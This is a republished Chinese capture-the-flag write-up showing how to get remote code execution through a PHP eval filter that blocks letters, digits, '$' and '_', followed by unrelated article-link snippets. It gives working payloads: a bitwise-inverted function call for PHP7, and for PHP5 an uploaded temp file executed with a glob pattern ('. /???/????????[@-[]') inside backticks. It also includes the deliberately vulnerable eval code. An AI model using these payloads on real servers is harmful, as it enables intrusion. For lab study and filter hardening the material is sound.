RCE-无字母数字webshell命令执行

news2024/11/15 13:51:33

目录

1.源码

2.题目解析

3.利用方法

3.1 PHP7下如何实现

3.2PHP5下如何实现

3.2.1 shell下可以利用. 来执行任意脚本

3.2.2 Linux文件名支持用glob通配符代替        


1.题目源码

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

2.题目解析

  根据上述代码可以得出:

  1. webshell长度不超过35位

  2. 除了不包含字母数字,还不能包含$和_

因为$不能使用了,所以我们无法构造PHP中的变量。所以,如何解决这个问题?

3.利用方法

3.1 PHP7下如何实现

 PHP7前是不允许用`($a)();`这样的方法来执行动态函数的,但PHP7中增加了对此的支持。可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

不能使用字母,所以我们使用url编码来表示:

(%8F%97%8F%96%91%99%90)();

因为在linux中~是表示反码,既就是取反。刚好加在前面就可以。所以我们得到:

(~%8F%97%8F%96%91%99%90)();

测试之后结果如下:

测试结束,方法可用

3.2PHP5下如何实现

因为php5并不支持刚才这种表达方式,所以我们必须得另辟蹊径

3.2.1 shell下可以利用. 来执行任意脚本

考虑用“反引号”+“shell”的方式来getshell,因为反引号不属于“字母”、“数字”,所以我们可以执行统命令,但问题来了:如何利用无字母、数字、$的系统命令来getshell?

它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如:当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。而且用. file执行文件,是不需要file有x权限的。    

如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

        这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

3.2.2 Linux文件名支持用glob通配符代替
        

 执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

 1)*可以代替0个及以上任意字符

 2)?可以代表1个任意字符

 那么,/tmp/phpXXXXXX就可以表示为/*/?????????或/???/?????????。

但如果执行. /???/?????????,页面会显示错误

这是由于执行. /???/?????????通配符后的文件有很多

     可以看出存在这么多的文件,执行第一个匹配上的文件(即/bin/addr2l ine)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。

就跟正则表达式类似,glob支持利用[0-9]来表示一个范围。

     我们再来看看之前列出可能干扰我们的文件,发现所有文件名都是小写,只有PHP生成的临时文件包含大写字母。我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@与[之间:

所以我们可以利用[@-[]来表示大写字母,构造如下payload:

. /???/????????[@-[]

前端页面源码 


<!DOCTYPE html>
<html lang="en">
 
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
 
<body>
    <form action="web.php" method="post" enctype="multipart/form-data">
        <input type="file" name="upload_file" id="">
        <input type="submit" value="submit">
    </form>
</body>
 

web.php源码 

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

编写一个txt文件上传至前端页面

接下来使burp suite进行测试

在第一行传入payload:

?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f%[%40-[]`%3b 

 结果如下:

然后将我们修改好的包发送,得到如下结果:

 测试成功!

以上就是在php7和php5下的无字母数字的webshell 命令执行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2039289.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

pytorch 3 计算图

计算图结构 分析&#xff1a; 起始节点 ab 5 - 3ac 2b 3d 5b 6e 7c d^2f 2e最终输出 g 3f - o&#xff08;其中 o 是另一个输入&#xff09; 前向传播 前向传播按照上述顺序计算每个节点的值。 反向传播过程 反向传播的目标是计算损失函数&#xff08;这里假设为…

看demo学算法之 线性回归模型

嗨&#xff01;今天我们来聊聊如何用Python构建一个简单的线性回归模型。这个过程就像给数据配对舞一样&#xff0c;让它们在舞池里找到最佳位置。准备好了吗&#xff1f;让我们开始吧&#xff01;&#x1f680; 第一步&#xff1a;数据准备 首先&#xff0c;我们要准备一些数…

基因家族Motif 分析

一、名词解释 Motif分析是一种在生物信息学和计算生物学中广泛应用的技术&#xff0c;用于识别DNA、RNA或蛋白质序列中具有生物学功能的短保守序列模式&#xff08;motif&#xff09;。这些motif通常与特定的生物学功能相关&#xff0c;如DNA中的转录因子结合位点、RNA中的剪接…

vue项目名修改、webstorm和idea创建的项目重命名、重构项目、修改项目名称

一、需求 就是创建了一个项目&#xff0c;后期需要重命名&#xff0c;怎么办&#xff1f;----> 直接修改&#xff1f;肯定不行&#xff0c;因为里面有些配置也需要修改&#xff0c;假如你只改文件夹名称的话&#xff0c;里面配置都没修改&#xff0c;后期可能会出问题。 二…

专栏十七:如何选择你的单细胞亚群的分辨率--chooseR

好久没更,没想到还是有小伙伴订阅,那就更一个最近看到的问题 1.缘起 是因为在文章Single-cell RNA sequencing and spatial transcriptomics reveal cancer-associated fibroblasts in glioblastoma with protumoral effects(https://doi.org/10.1172/JCI147087.)中看到 也…

机械行业数字化生产供应链产品解决方案(三)

在机械行业数字化生产供应链产品解决方案中&#xff0c;通过融合物联网&#xff08;IoT&#xff09;技术、数据分析平台与智能自动化系统&#xff0c;实现生产设备和供应链的全方位数字化管理&#xff0c;能够实时监控生产过程、预测维护需求并优化生产调度&#xff0c;同时利用…

FPGA资源评估

FPGA资源评估 文章目录 FPGA资源评估前言一、资源评估1.1 资源有哪些1.2 资源统计 二、 FPGA 的基本结构三、 更为复杂的 FPGA 架构 前言 一、资源评估 大家在项目中一般会要遇到需要资源评估的情况&#xff0c;例如立了新项目&#xff0c;前期需要确定使用什么FPGA片子&…

06 集合

1.集合类的体系结构 接口:Colltion(单列) List(可重复) Set(不可重复) Map(双列) 实现类: ArrayList,LinkedList HashSet,TreeSet HashMap 2. Collection集合 Collection集合概述 1.是单列集合的顶层接口 2.JDK不提供该接口的任何直接实现,提供具体的子接口(Set和List)实…

Leetcode JAVA刷刷站(11)盛最多水的容器

一、题目概述 二、思路方向 这个问题是经典的“盛最多水的容器”问题&#xff0c;通常使用双指针法来解决。基本思路是&#xff0c;我们初始化两个指针&#xff0c;一个指向数组的起始位置&#xff0c;另一个指向数组的末尾位置。然后&#xff0c;我们计算当前两个指针所指向…

工业智能网关在汽车制造企业的应用价值及功能-天拓四方

随着工业互联网的飞速发展&#xff0c;工业智能网关作为连接物理世界与数字世界的桥梁&#xff0c;正逐渐成为制造业数字化转型的核心组件。本文将以一家汽车制造企业的实际使用案例为蓝本&#xff0c;深入解析工业智能网关在实际应用中的价值、功能及其实操性。 一、背景与挑…

Java语言程序设计——篇十三(1)

&#x1f33f;&#x1f33f;&#x1f33f;跟随博主脚步&#xff0c;从这里开始→博主主页&#x1f33f;&#x1f33f;&#x1f33f; 欢迎大家&#xff1a;这里是我的学习笔记、总结知识的地方&#xff0c;喜欢的话请三连&#xff0c;有问题可以私信&#x1f333;&#x1f333;&…

Leetcod编程基础0到1-基础实现内容(个人解法)(笔记)

以下为个人解法&#xff0c;欢迎提供不同思路 1768. 交替合并字符串 题目&#xff1a;给你两个字符串 word1 和 word2 。请你从 word1 开始&#xff0c;通过交替添加字母来合并字符串。如果一个字符串比另一个字符串长&#xff0c;就将多出来的字母追加到合并后字符串的末尾&…

凹凸纹理概念

1、凹凸纹理 纹理除了可以用来进行颜色映射外&#xff0c;另外一种常见的应用就是进行凹凸映射。凹凸映射的目的是使用一张纹理来修改模型表面的法线&#xff0c;让我们不需要增加顶点&#xff0c;而让模型看起来有凹凸效果。原理&#xff1a;光照的计算都会利用法线参与计算&…

winform 大头针实现方法——把窗口钉在最上层

平时我们再使用成熟的软件的时候&#xff0c;会发现有个大头针的功能挺不错的。就是点一下大头针&#xff0c;窗口就会钉住&#xff0c;一直保持在最上面一层&#xff0c;这样可以一边设置参数&#xff0c;一边观察这个窗口里面的变化&#xff0c;比较方便。下面我就来简单实现…

进阶SpringBoot之首页和图标定制

idea 快捷键&#xff1a; ctrl shift "" 使缩起来的代码展开 ctrl shitf "-" 使代码缩起 WebMvcAutoConfiguration.class&#xff1a;可以看到需要有一个 index.html 文件映射到首页 private Resource getIndexHtmlResource(Resource location) {tr…

关于SpringMVC的一点学习笔记

关于SpringMVC的一点学习笔记 1、 maven依赖/目录结构2、配置文件3、从前端请求开始4、Controller5、Service6、Dao7、mybatis8、utils公共类9、 分页查询 QueryPageBean / PageResult10、静态页面Freemarker用在经常访问但不经常变化的页面场景中11、Reids12、Echarts13、认证…

后台管理权限自定义按钮指令v-hasPermi

第一步:在src下面建立一个自定义指令文件,放自定义指令方法 permission.js文件: /*** v-hasPermi 操作权限处理*/import store from "/store";export default {inserted(el, binding) {const { value } binding;//从仓库里面获取到后台给的数组const permission s…

软件设计之MySQL(2)

软件设计之MySQL(2) 此篇应在JavaSE之后进行学习: 路线图推荐&#xff1a; 【Java学习路线-极速版】【Java架构师技术图谱】 Navicat可以在软件管家下载 使用navicat连接mysql数据库创建数据库、表、转储sql文件&#xff0c;导入sql数据 学习内容&#xff1a; 基础的SELECT语…

数据分析:宏基因组数据的荟萃分析

禁止商业或二改转载&#xff0c;仅供自学使用&#xff0c;侵权必究&#xff0c;如需截取部分内容请后台联系作者! 介绍 宏基因组数据的荟萃分析是一种综合多个独立宏基因组研究结果的方法&#xff0c;目的是揭示不同人群或样本中微生物群落的共同特征和差异。这种方法特别适用…

ubantu安装python3.10

1.从官网下载安装 1.1安装依赖 sudo apt update sudo apt install build-essential zlib1g-dev libncurses5-dev libgdbm-dev libnss3-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev wget libbz2-dev1.2从官网下载源文件 wget https://www.python.org/ftp/pyth…